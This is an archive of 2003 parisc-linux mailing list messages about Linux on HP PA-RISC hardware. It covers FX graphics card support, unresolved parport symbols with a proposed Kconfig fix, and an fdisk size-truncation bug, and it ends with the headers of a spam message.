Original-Received: by isar.bbn.hp.com with Internet Mail Service (5.5.2655.55)
	id <WGDW4S38>; Thu, 6 Nov 2003 16:03:57 +0100
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20004

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C3A477.32FCAEF0
Content-Type: text/plain;
	charset="iso-8859-1"

Hi all,
 
this day i installed woody on a J5000.
Now I'm at the point to set up the Xserver and here i run into troubles.
What XServer should i run/use to get my FXe working?
 
 
Kind regards,
 
Philipp 


------_=_NextPart_001_01C3A477.32FCAEF0
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>Message</TITLE>

<META content="MSHTML 5.00.3700.6699" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT face=Arial size=2><SPAN class=046135914-06112003>Hi 
all,</SPAN></FONT></DIV>
<DIV><FONT face=Arial size=2><SPAN 
class=046135914-06112003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=Arial size=2><SPAN class=046135914-06112003>this day i installed 
woody on a J5000.</SPAN></FONT></DIV>
<DIV><FONT face=Arial size=2><SPAN class=046135914-06112003>Now I'm at the point 
to set up the Xserver and here i run into troubles.</SPAN></FONT></DIV>
<DIV><FONT face=Arial size=2><SPAN class=046135914-06112003>What XServer should 
i run/use to get my FXe working?</SPAN></FONT></DIV><FONT face=Arial size=2>
<DIV align=left class=OutlookMessageHeader dir=ltr lang=en-us>&nbsp;</DIV>
<DIV align=left class=OutlookMessageHeader dir=ltr lang=en-us><FONT 
face=Tahoma><FONT color=#0000ff><FONT size=2><FONT face=Arial><SPAN 
class=218391508-04112003></SPAN></FONT></FONT></FONT></FONT>&nbsp;</DIV>
<DIV align=left class=OutlookMessageHeader dir=ltr lang=en-us><FONT 
face=Tahoma><FONT color=#0000ff><FONT size=2><FONT face=Arial><SPAN 
class=218391508-04112003><FONT color=#000000 face=Tahoma>Kind 
regards,</FONT></SPAN></FONT></FONT></FONT></FONT></DIV>
<DIV align=left class=OutlookMessageHeader dir=ltr lang=en-us><FONT 
face=Tahoma><FONT color=#0000ff><FONT size=2><FONT face=Arial><SPAN 
class=218391508-04112003></SPAN></FONT></FONT></FONT></FONT>&nbsp;</DIV>
<DIV align=left class=OutlookMessageHeader dir=ltr lang=en-us><FONT 
face=Tahoma><FONT color=#0000ff><FONT size=2><FONT face=Arial><SPAN 
class=218391508-04112003><FONT color=#000000 
face=Tahoma>Philipp</FONT>&nbsp;</SPAN><BR></DIV></FONT></FONT></FONT></FONT></FONT></BODY></HTML>

------_=_NextPart_001_01C3A477.32FCAEF0--


From - Thu Nov 08 21:29:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] getting FXe work
Date: Thu, 6 Nov 2003 08:54:22 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20031106155422.GA32113@colo.lackof.org>
References: <07A9D2E3B03BD4119FD300D0B747AB29049B32A4@mahler.bbn.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622931 1046 80.91.229.3 (22 Nov 2014 02:22:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "TIMMALOG,PHILIPP (HP-Germany,ex1)" <philipp.timmalog@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  6 08:54:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 691944840
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Nov 2003 08:54:23 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D418F29804B; Thu,  6 Nov 2003 08:54:22 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 31894-09; Thu, 6 Nov 2003 08:54:22 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 50472298047; Thu,  6 Nov 2003 08:54:22 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <07A9D2E3B03BD4119FD300D0B747AB29049B32A4@mahler.bbn.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20005

On Thu, Nov 06, 2003 at 04:03:55PM +0100, TIMMALOG,PHILIPP (HP-Germany,ex1) wrote:
> Hi all,
>  
> this day i installed woody on a J5000.
> Now I'm at the point to set up the Xserver and here i run into troubles.
> What XServer should i run/use to get my FXe working?

HPUX X11 server is the only one that support FX cards.
And no, it doesn't run under parisc-linux.

sorry,
grant

>  
>  
> Kind regards,
>  
> Philipp 
> 


From - Thu Nov 08 21:29:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "TIMMALOG,PHILIPP (HP-Germany,ex1)" <philipp.timmalog@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] getting FXe work
Date: Thu, 6 Nov 2003 16:57:31 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <07A9D2E3B03BD4119FD300D0B747AB29049B32A7@mahler.bbn.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622932 1051 80.91.229.3 (22 Nov 2014 02:22:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:12 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  6 08:57:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrelint01.net.external.hp.com (bbnrelint01.net.external.hp.com [192.6.76.88])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87D254840
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Nov 2003 08:57:33 -0700 (MST)
Original-Received: from isar.bbn.hp.com (isar.bbn.hp.com [15.140.168.13])
	by bbnrelint01.net.external.hp.com (Postfix) with ESMTP id 5E31E37DA6
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Nov 2003 16:51:41 +0100 (CET)
Original-Received: by isar.bbn.hp.com with Internet Mail Service (5.5.2655.55)
	id <WGDW4YYX>; Thu, 6 Nov 2003 16:57:32 +0100
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20006

Hi all,

it thought, that only the FX-2,4,10 cards are not working under
parisc-linux?!?


Kind regards,

Philipp


From: Grant Grundler [mailto:grundler@parisc-linux.org] 
Sent: Donnerstag, 6. November 2003 16:54


On Thu, Nov 06, 2003 at 04:03:55PM +0100, TIMMALOG,PHILIPP (HP-Germany,ex1)
wrote:
> Hi all,
>  
> this day i installed woody on a J5000.
> Now I'm at the point to set up the Xserver and here i run into 
> troubles. What XServer should i run/use to get my FXe working?

HPUX X11 server is the only one that support FX cards.
And no, it doesn't run under parisc-linux.

sorry,
grant

>  
>  
> Kind regards,
>  
> Philipp
> 


From - Thu Nov 08 21:29:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unresolved symbols in 2.4.22-pa13
Date: Thu, 6 Nov 2003 16:20:55 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <20031106162055.GA26869@parcelfarce.linux.theplanet.co.uk>
References: <3FA956FD.4080901@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622932 1054 80.91.229.3 (22 Nov 2014 02:22:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  6 09:20:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B779B4840
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Nov 2003 09:20:57 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AHmsR-00087Z-PU; Thu, 06 Nov 2003 16:20:55 +0000
Content-Disposition: inline
In-Reply-To: <3FA956FD.4080901@hrzpub.tu-darmstadt.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20007

On Wed, Nov 05, 2003 at 09:01:01PM +0100, Ruediger Scholz wrote:
> when compiling the parport driver as a module, I get an unresolved 
> symbols error:
> -----><--------
> find kernel -path '*/pcmcia/*' -name '*.o' | xargs -i -r ln -sf ../{} pcmcia
> if [ -r System.map ]; then /sbin/depmod -ae -F System.map  2.4.22-pa13; fi
> depmod: *** Unresolved symbols in 
> /lib/modules/2.4.22-pa13/kernel/drivers/parport/parport_pc.o
> depmod:         outsb
> depmod:         outsl
> depmod:         insb
> depmod:         insl
> -----><--------
> Can s.b. with CVS access add the necessary export symbol lines to 
> parport_pc?

I'm confused.

$ find arch/parisc -type f |xargs grep insb
arch/parisc/kernel/parisc_ksyms.c:EXPORT_SYMBOL(insb);
arch/parisc/lib/io.c:void insb (unsigned long port, void *dst, unsigned long count)

Did you perhaps configure ISA and PCI out but parport_pc in?  If so ...
user error.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] getting FXe work
Date: Thu, 6 Nov 2003 16:25:56 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20031106162556.GC26869@parcelfarce.linux.theplanet.co.uk>
References: <07A9D2E3B03BD4119FD300D0B747AB29049B32A7@mahler.bbn.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622932 1058 80.91.229.3 (22 Nov 2014 02:22:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:12 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "TIMMALOG,PHILIPP (HP-Germany,ex1)" <philipp.timmalog@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  6 09:25:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D39194840
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Nov 2003 09:25:56 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AHmxI-0008KT-3W; Thu, 06 Nov 2003 16:25:56 +0000
Content-Disposition: inline
In-Reply-To: <07A9D2E3B03BD4119FD300D0B747AB29049B32A7@mahler.bbn.hp.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20008

On Thu, Nov 06, 2003 at 04:57:31PM +0100, TIMMALOG,PHILIPP (HP-Germany,ex1) wrote:
> Hi all,
> 
> it thought, that only the FX-2,4,10 cards are not working under
> parisc-linux?!?

No, only the Vis-EG and earlier cards are supported (and even then,
only via the fb driver).

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unresolved symbols in 2.4.22-pa13
Date: Thu, 6 Nov 2003 21:57:06 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <20031106205706.GG17497@lug-owl.de>
References: <3FA956FD.4080901@hrzpub.tu-darmstadt.de> <20031106162055.GA26869@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="0z5c7mBtSy1wdr4F"
X-Trace: ger.gmane.org 1416622933 1060 80.91.229.3 (22 Nov 2014 02:22:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  6 13:57:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 841C04841
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Nov 2003 13:57:09 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 45E934B44F; Thu,  6 Nov 2003 21:57:06 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20031106162055.GA26869@parcelfarce.linux.theplanet.co.uk>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20009

--0z5c7mBtSy1wdr4F
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 2003-11-06 16:20:55 +0000, Matthew Wilcox <willy@debian.org>
wrote in message <20031106162055.GA26869@parcelfarce.linux.theplanet.co.uk>:
> On Wed, Nov 05, 2003 at 09:01:01PM +0100, Ruediger Scholz wrote:

> Did you perhaps configure ISA and PCI out but parport_pc in?  If so ...
> user error.

Kconfig dependancy error.

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--0z5c7mBtSy1wdr4F
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQE/qrWiHb1edYOZ4bsRAtoTAKCES6tp4LaqD4reZoLj6vi46gRTuwCfSXJ+
TtBVG28K2IL2mSdHUoSuDSE=
=EJRK
-----END PGP SIGNATURE-----

--0z5c7mBtSy1wdr4F--


From - Thu Nov 08 21:29:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unresolved symbols in 2.4.22-pa13
Date: Thu, 6 Nov 2003 22:24:16 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <20031106222416.GI26869@parcelfarce.linux.theplanet.co.uk>
References: <3FA956FD.4080901@hrzpub.tu-darmstadt.de> <20031106162055.GA26869@parcelfarce.linux.theplanet.co.uk> <20031106205706.GG17497@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622933 1063 80.91.229.3 (22 Nov 2014 02:22:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  6 15:24:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D57604841
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Nov 2003 15:24:19 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AHsY4-0000KH-Pc; Thu, 06 Nov 2003 22:24:16 +0000
Content-Disposition: inline
In-Reply-To: <20031106205706.GG17497@lug-owl.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20010

On Thu, Nov 06, 2003 at 09:57:06PM +0100, Jan-Benedict Glaw wrote:
> On Thu, 2003-11-06 16:20:55 +0000, Matthew Wilcox <willy@debian.org>
> wrote in message <20031106162055.GA26869@parcelfarce.linux.theplanet.co.uk>:
> > On Wed, Nov 05, 2003 at 09:01:01PM +0100, Ruediger Scholz wrote:
> 
> > Did you perhaps configure ISA and PCI out but parport_pc in?  If so ...
> > user error.
> 
> Kconfig dependancy error.

This is 2.4.  I'm not touching that config mess.

Shortly before receiving your message, I looked at it in 2.6 (which is
worth fixing).  My initial thought is:

@@ -34,7 +34,7 @@ config PARPORT
 
 config PARPORT_PC
        tristate "PC-style hardware"
-       depends on PARPORT && (!SPARC64 || PCI)
+       depends on PARPORT && (!(SPARC64 || PARISC) || PCI)
        ---help---
          You should say Y here if you have a PC-style parallel port. All
          IBM PC compatible computers and some Alphas have PC-style

But perhaps that should be:

	depends on PARPORT && (!SPARC64 || PCI) && (!PARISC || SUPERIO)

Comments?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Thu, 6 Nov 2003 22:29:58 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20031106222958.GJ26869@parcelfarce.linux.theplanet.co.uk>
References: <3FA95BBA.7080705@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622933 1067 80.91.229.3 (22 Nov 2014 02:22:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  6 15:29:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 459C24841
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Nov 2003 15:29:59 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AHsda-0000NY-JJ; Thu, 06 Nov 2003 22:29:58 +0000
Content-Disposition: inline
In-Reply-To: <3FA95BBA.7080705@hrzpub.tu-darmstadt.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20011

On Wed, Nov 05, 2003 at 09:21:14PM +0100, Ruediger Scholz wrote:
> it's me again. I repartioned a IBM-hd with 4330 MB but when running 
> fdisk with 2.6.0-test8-pa4, fdisk  told me:
> 
> --------><------------
> gandalf:~# fdisk /dev/sdb
> 
> Befehl (m fr Hilfe): p
> 
> Platte /dev/sdb: 40 MByte, 40239104 Byte

Oh oh.  We have an interesting problem here.

> Platte /dev/sdb: 4335 MByte, 4335206400 Byte

4335206400 - 4294967296 = 40239104

So we've lost the top 32 bits of the value.  Can you run it under strace
and tell me what ioctls fdisk is calling?  I bet it's calling BLKGETSIZE64
and our put_user() is broken.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Branden Perdue" <w927nlpm@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boost Your  Car's Gas Mileage 27%+... sn lzapy kgipfaav
Date: Fri, 07 Nov 03 02:30:40 GMT
Lines: 67
Approved: news@gmane.org
Message-ID: <ew0-bh12l93oq-a099pb8am5@547.wh.hh6>
Reply-To: "Branden Perdue" <w927nlpm@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="D_CB.041.E564D9.D_5."
X-Trace: ger.gmane.org 1416622934 1073 80.91.229.3 (22 Nov 2014 02:22:14 GMT)
